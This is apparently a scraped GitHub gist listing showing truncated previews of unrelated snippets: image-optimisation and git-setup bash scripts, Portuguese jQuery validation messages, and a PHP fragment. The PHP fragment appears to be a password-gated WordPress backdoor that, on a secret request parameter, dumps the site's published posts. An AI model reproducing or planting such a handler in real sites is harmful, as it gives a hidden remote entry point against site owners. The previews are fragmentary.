ssh <server>
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'b1f82ddd4a0b8e05818e991bf56d64d0')) | |
{ | |
switch ($_REQUEST['action']) | |
{ | |
case 'get_all_links'; | |
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data) | |
{ | |
$data['code'] = ''; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Improved as per feedback from @pascal - https://gist.github.com/julianxhokaxhiu/c0a8e813eabf9d6d9873#gistcomment-3086462 | |
find . -type f -iname "*.png" -exec optipng -nb -nc {} \; | |
find . -type f -iname "*.png" -exec advpng -z4 {} \; | |
find . -type f -iname "*.png" -exec pngcrush -rem gAMA -rem alla -rem cHRM -rem iCCP -rem sRGB -rem time -ow {} \; | |
find . -type f \( -iname "*.jpg" -o -iname "*.jpeg" \) -exec jpegoptim -f --strip-all {} \; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# usage: "newgit some/path" | |
newgit() { | |
### SETTINGS ### | |
# this is the root of all your git folders | |
local LOCAL_GIT_ROOT=~/web | |
# this is your ssh [user]@[host] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Translated default messages for the jQuery validation plugin. | |
* Locale: PT_BR | |
*/ | |
jQuery.extend(jQuery.validator.messages, { | |
required: "Este campo é requerido.", | |
remote: "Por favor, corrija este campo.", | |
email: "Por favor, forneça um endereço eletrônico válido.", | |
url: "Por favor, forneça uma URL válida.", | |
date: "Por favor, forneça uma data válida.", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Create a new git repository on Dreamhost | |
# Function tweaked from that found at http://craigjolicoeur.com/blog/hosting-git-repositories-on-dreamhost | |
# | |
# Just add the code below to your .bashrc. | |
# Usage: | |
# newgit some-repo.git | |
# | |
# Then locally: | |
# | |
# git push --all ssh://$MACHINE/home/$USER/git/my-new-repos.git |